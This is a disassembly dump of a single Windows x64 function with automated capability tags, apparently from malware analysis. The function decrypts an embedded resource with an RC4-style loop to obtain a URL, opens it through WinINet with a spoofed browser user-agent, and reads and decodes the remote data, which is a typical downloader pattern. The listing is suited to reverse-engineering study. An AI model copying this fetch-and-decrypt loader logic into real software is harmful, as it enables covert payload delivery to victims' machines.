Function at 0x140003ec0
Capabilities:
Create http request
Encode data using xor
Extract resource via kernel32 functions
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x12c198
call fcn.140009f00
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x12c110], 0xfffffffffffffffe
mov rsi, rdx
movzx edx, cx
xor edi, edi
mov r8d, 0xa
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x140004900
mov rbx, rax
xor edi, edi
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
je 0x140004900
mov r14d, eax
xor edi, edi
xor ecx, ecx
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140004900
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
test rax, rax
je 0x1400041d7
mov rdi, rax
lea rcx, [rbp + 0x12bfb0]
mov r8d, 0x88
mov rdx, rax
call fcn.14000c250
mov ebx, dword [rbp + 0x12bfb0]
cmp dword [rbp + 0x12bfb4], 0
je 0x140003f7a
call fcn.140003cd0
test ebx, ebx
je 0x140003f83
call fcn.140003c60
add r14d, 0xffffff59
mov dword [rsi], r14d
mov rcx, r14
call fcn.140009d80
mov rbx, rax
lea rdx, [rdi + 0xa8]
mov rcx, rax
mov r8, r14
call fcn.14000c250
xorps xmm0, xmm0
movaps xmmword [rbp + 0x960a0], xmm0
movaps xmmword [rbp + 0x96090], xmm0
movaps xmmword [rbp + 0x96080], xmm0
movaps xmmword [rbp + 0x96070], xmm0
movaps xmmword [rbp + 0x96060], xmm0
movaps xmmword [rbp + 0x96050], xmm0
movaps xmmword [rbp + 0x96040], xmm0
movaps xmmword [rbp + 0x96030], xmm0
movaps xmmword [rbp + 0x96020], xmm0
movaps xmmword [rbp + 0x96010], xmm0
movaps xmmword [rbp + 0x96000], xmm0
movaps xmmword [rbp + 0x95ff0], xmm0
movaps xmmword [rbp + 0x95fe0], xmm0
movaps xmmword [rbp + 0x95fd0], xmm0
movaps xmmword [rbp + 0x95fc0], xmm0
movaps xmmword [rbp + 0x95fb0], xmm0
movaps xmmword [rbp + 0xa0], xmm0
movaps xmmword [rbp + 0x90], xmm0
movaps xmmword [rbp + 0x80], xmm0
movaps xmmword [rbp + 0x70], xmm0
movaps xmmword [rbp + 0x60], xmm0
movaps xmmword [rbp + 0x50], xmm0
movaps xmmword [rbp + 0x40], xmm0
movaps xmmword [rbp + 0x30], xmm0
movaps xmmword [rbp + 0x20], xmm0
movaps xmmword [rbp + 0x10], xmm0
movaps xmmword [rbp], xmm0
movaps xmmword [rbp - 0x10], xmm0
movaps xmmword [rbp - 0x20], xmm0
movaps xmmword [rbp - 0x30], xmm0
movaps xmmword [rbp - 0x40], xmm0
movaps xmmword [rbp - 0x50], xmm0
xor eax, eax
nop dword [rax + rax]
mov byte [rbp + rax - 0x50], al
mov ecx, eax
and ecx, 0x7e
movzx ecx, byte [rbp + rcx + 0x12bfb8]
mov byte [rbp + rax + 0x95fb0], cl
lea rcx, [rax + 1]
mov byte [rbp + rax - 0x4f], cl
and ecx, 0x7f
movzx ecx, byte [rbp + rcx + 0x12bfb8]
mov byte [rbp + rax + 0x95fb1], cl
add rax, 2
cmp rax, 0x100
jne 0x140004070
mov eax, 1
xor ecx, ecx
nop word cs:[rax + rax]
movzx edx, byte [rbp + rax - 0x51]
add cl, dl
add cl, byte [rbp + rax + 0x95faf]
movzx ecx, cl
movzx r8d, byte [rbp + rcx - 0x50]
mov byte [rbp + rax - 0x51], r8b
mov byte [rbp + rcx - 0x50], dl
movzx edx, byte [rbp + rax - 0x50]
add cl, dl
add cl, byte [rbp + rax + 0x95fb0]
movzx r8d, cl
movzx r9d, byte [rbp + r8 - 0x50]
mov byte [rbp + rax - 0x50], r9b
mov byte [rbp + r8 - 0x50], dl
add rax, 2
cmp rax, 0x101
jne 0x1400040c0
test r14d, r14d
je 0x14000417c
xor eax, eax
xor ecx, ecx
xor edx, edx
nop dword [rax]
lea r8d, [rdx + 1]
lea r9d, [rdx + 0x100]
test r8d, r8d
cmovns r9d, r8d
and r9d, 0xffffff00
neg r9d
add edx, r9d
inc edx
movsxd r8, edx
movzx r9d, byte [rbp + r8 - 0x50]
add cl, r9b
movzx r10d, cl
movzx r11d, byte [rbp + r10 - 0x50]
mov byte [rbp + r8 - 0x50], r11b
mov byte [rbp + r10 - 0x50], r9b
add r9b, byte [rbp + r8 - 0x50]
movzx r8d, r9b
movzx r8d, byte [rbp + r8 - 0x50]
xor byte [rbx + rax], r8b
inc rax
cmp r14, rax
jne 0x140004120
xorps xmm0, xmm0
movaps xmmword [rbp + 0x12c0e0], xmm0
movaps xmmword [rbp + 0x12c0d0], xmm0
mov rcx, rbx
call fcn.14000ecd0
test rax, rax
js 0x14000491c
mov r14, rax
cmp rax, 0xf
ja 0x1400041de
mov qword [rbp + 0x12c0e0], r14
mov qword [rbp + 0x12c0e8], 0xf
lea rcx, [rbp + 0x12c0d0]
mov rdx, rbx
mov r8, r14
call fcn.14000c250
add r14, rbp
add r14, 0x12c0d0
jmp 0x140004247
xor edi, edi
jmp 0x140004900
mov rax, r14
or rax, 0xf
cmp rax, 0x17
mov r12d, 0x16
cmovae r12, rax
cmp r12, 0xfff
jb 0x140004214
lea rcx, [r12 + 0x28]
call fcn.140009d08
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x140004221
lea rcx, [r12 + 1]
call fcn.140009d08
mov r15, rax
mov qword [rbp + 0x12c0d0], r15
mov qword [rbp + 0x12c0e0], r14
mov qword [rbp + 0x12c0e8], r12
mov rcx, r15
mov rdx, rbx
mov r8, r14
call fcn.14000c250
add r14, r15
mov byte [r14], 0
lea rcx, [rbp + 0x95fb0]
lea rdx, [rbp + 0x12c0d0]
call fcn.140002020
lea rcx, [rbp + 0x12c098]
lea rbx, [rbp + 0x95fb0]
mov rdx, rbx
call fcn.140002cd0
mov rax, qword [rbp + 0x95fc8]
cmp rax, 0x10
jb 0x1400042b9
mov rcx, qword [rbp + 0x95fb0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1400042b4
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140004917
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140009d4c
mov r14, qword [rbp + 0x12c098]
mov r15, qword [rbp + 0x12c0a0]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x12c0f0], xmm0
movaps xmmword [rbp + 0x12c100], xmm0
cmp r14, r15
je 0x140004330
mov rax, r15
sub rax, r14
mov qword [rbp + 0x12c108], 0xf
js 0x140004926
cmp rax, 0x10
jb 0x140004349
or rax, 0xf
cmp rax, 0x17
mov r12d, 0x16
cmovae r12, rax
cmp r12, 0xfff
jb 0x14000434d
lea rcx, [r12 + 0x28]
call fcn.140009d08
mov rcx, rax
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140004357
mov qword [rbp + 0x12c108], 0xf
mov r15d, 0xf
xor r14d, r14d
jmp 0x140004464
xor eax, eax
jmp 0x14000436c
lea rcx, [r12 + 1]
call fcn.140009d08
mov qword [rbp + 0x12c0f0], rax
mov qword [rbp + 0x12c108], r12
mov rax, qword [rbp + 0x12c100]
mov edx, r15d
sub edx, r14d
mov rcx, r14
not rcx
test dl, 1
je 0x1400043b3
cmp qword [rbp + 0x12c108], 0x10
jb 0x140004390
mov rdx, qword [rbp + 0x12c0f0]
jmp 0x140004397
lea rdx, [rbp + 0x12c0f0]
movzx r8d, byte [r14]
mov byte [rdx + rax], r8b
mov rax, qword [rbp + 0x12c100]
inc rax
mov qword [rbp + 0x12c100], rax
inc r14
add rcx, r15
jne 0x1400043d2
cmp qword [rbp + 0x12c108], 0x10
jb 0x14000444b
mov rcx, qword [rbp + 0x12c0f0]
jmp 0x140004452
lea rcx, [rbp + 0x12c0f0]
jmp 0x140004404
movzx r8d, byte [r14 + 1]
mov byte [rdx + rax + 1], r8b
mov rax, qword [rbp + 0x12c100]
inc rax
mov qword [rbp + 0x12c100], rax
add r14, 2
cmp r14, r15
je 0x1400043b8
cmp qword [rbp + 0x12c108], 0x10
mov rdx, rcx
jb 0x140004418
mov rdx, qword [rbp + 0x12c0f0]
movzx r8d, byte [r14]
mov byte [rdx + rax], r8b
mov rax, qword [rbp + 0x12c100]
mov r8, qword [rbp + 0x12c108]
lea rdx, [rax + 1]
mov qword [rbp + 0x12c100], rdx
mov rdx, rcx
cmp r8, 0x10
jb 0x1400043e0
mov rdx, qword [rbp + 0x12c0f0]
jmp 0x1400043e0
lea rcx, [rbp + 0x12c0f0]
mov byte [rcx + rax], 0
mov r14, qword [rbp + 0x12c0f0]
mov r15, qword [rbp + 0x12c108]
lea rcx, [rbp - 0x50]
mov r8d, 0x96000
xor edx, edx
call fcn.14000c8f0
mov dword [rsp + 0x20], 0
lea rcx, str.Mozilla_5.0__Macintosh__Intel_Mac_OS_X_10_7_4__AppleWebKit_537.13__KHTML__like_Gecko__Chrome_24.0.1290.1_Safari_537.13
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenW]
test rax, rax
je 0x14000451c
cmp r15, 0x10
lea rdx, [rbp + 0x12c0f0]
cmovae rdx, r14
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov rcx, rax
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
test rax, rax
je 0x14000451c
mov r14, rax
lea r15, [rbp + 0x95fb0]
mov r8d, 0x96000
mov rcx, r15
xor edx, edx
call fcn.14000c8f0
lea r9, [rbp + 0x12c078]
mov rcx, r14
mov rdx, r15
mov r8d, 0x96000
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000451c
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x95fb0]
mov r8d, 0x96000
call fcn.14000c250
xorps xmm0, xmm0
movaps xmmword [rbp + 0x95fc0], xmm0
movaps xmmword [rbp + 0x95fb0], xmm0
lea rcx, [rbp - 0x50]
call fcn.14000ecd0
test rax, rax
js 0x140004921
mov r14, rax
cmp rax, 0xf
ja 0x140004579
mov qword [rbp + 0x95fc0], r14
mov qword [rbp + 0x95fc8], 0xf
lea rcx, [rbp + 0x95fb0]
lea rdx, [rbp - 0x50]
mov r8, r14
call fcn.14000c250
add r14, rbp
add r14, 0x95fb0
jmp 0x1400045f1
mov qword [rbp + 0x95fc8], 0xf
mov rax, r14
or rax, 0xf
cmp rax, 0x17
mov r12d, 0x16
cmovae r12, rax
cmp r12, 0xfff
jb 0x1400045bd
lea rcx, [r12 + 0x28]
call fcn.140009d08
mov r15, rax
add r15, 0x27
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x1400045ca
lea rcx, [r12 + 1]
call fcn.140009d08
mov r15, rax
mov qword [rbp + 0x95fb0], r15
mov qword [rbp + 0x95fc0], r14
mov qword [rbp + 0x95fc8], r12
lea rdx, [rbp - 0x50]
mov rcx, r15
mov r8, r14
call fcn.14000c250
add r14, r15
mov byte [r14], 0
cmp qword [rbp + 0x95fc8], 0x10
jb 0x140004606
mov rbx, qword [rbp + 0x95fb0]
mov rdx, qword [rbp + 0x95fc0]
add rdx, rbx
mov rcx, rbx
call fcn.14000aa90
mov ecx, 0x21
call fcn.140009d80
mov rbx, rax
add rdi, 0x88
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
lea rcx, [rbp + 0x12c038]
mov edx, 0x30b4
call fcn.140002a30
lea rcx, [rbp + 0x12c058]
lea rdx, [rbp + 0x95fb0]
mov r8, rbx
call fcn.140002260
lea rcx, [rbp + 0x12c0b0]
lea rdx, [rbp + 0x12c058]
call fcn.140002020
lea rbx, [rbp + 0x12c078]
lea rdx, [rbp + 0x12c0b0]
lea r8, [rbp + 0x12c038]
mov rcx, rbx
call fcn.1400026b0
mov rax, qword [rbp + 0x12c0c8]
cmp rax, 0x10
jb 0x1400046d6
mov rcx, qword [rbp + 0x12c0b0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1400046d1
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140004917
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140009d4c
mov qword [rbp + 0x12c0c0], 0
mov qword [rbp + 0x12c0c8], 0xf
mov byte [rbp + 0x12c0b0], 0
mov rax, qword [rbp + 0x12c070]
cmp rax, 0x10
jb 0x140004738
mov rcx, qword [rbp + 0x12c058]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140004733
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140004917
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140009d4c
mov rax, qword [rbp + 0x12c050]
cmp rax, 0x10
jb 0x14000477d
mov rcx, qword [rbp + 0x12c038]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140004778
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140004917
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140009d4c
mov r12, qword [rbp + 0x12c090]
cmp r12, 0x10
mov r14, qword [rbp + 0x12c078]
mov r13, qword [rbp + 0x12c088]
cmovae rbx, r14
mov r15d, r13d
mov dword [rsi], r13d
mov rcx, r15
call fcn.140009d80
mov rdi, rax
test r13d, r13d
je 0x1400047be
mov rcx, rdi
mov rdx, rbx
mov r8, r15
call fcn.14000c250
cmp r12, 0x10
jb 0x1400047f9
lea rdx, [r12 + 1]
cmp rdx, 0x1000
jb 0x1400047f1
mov rax, qword [r14 - 8]
add r14, 0xfffffffffffffff8
sub r14, rax
cmp r14, 0x20
jae 0x140004917
add r12, 0x28
mov rdx, r12
mov r14, rax
mov rcx, r14
call fcn.140009d4c
mov rax, qword [rbp + 0x95fc8]
cmp rax, 0x10
jb 0x14000483e
mov rcx, qword [rbp + 0x95fb0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140004839
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140004917
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140009d4c
mov rax, qword [rbp + 0x12c108]
cmp rax, 0x10
jb 0x140004883
mov rcx, qword [rbp + 0x12c0f0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000487e
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140004917
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140009d4c
mov rcx, qword [rbp + 0x12c098]
test rcx, rcx
je 0x1400048bf
mov rdx, qword [rbp + 0x12c0a8]
sub rdx, rcx
cmp rdx, 0x1000
jb 0x1400048ba
mov rax, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, rax
cmp rcx, 0x20
jae 0x140004917
add rdx, 0x27
mov rcx, rax
call fcn.140009d4c
mov rax, qword [rbp + 0x12c0e8]
cmp rax, 0x10
jb 0x140004900
mov rcx, qword [rbp + 0x12c0d0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1400048fb
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140004917
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140009d4c
mov rax, rdi
add rsp, 0x12c198
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.14000e234
call fcn.140004f90
call fcn.140004f90
call fcn.140004f90
int3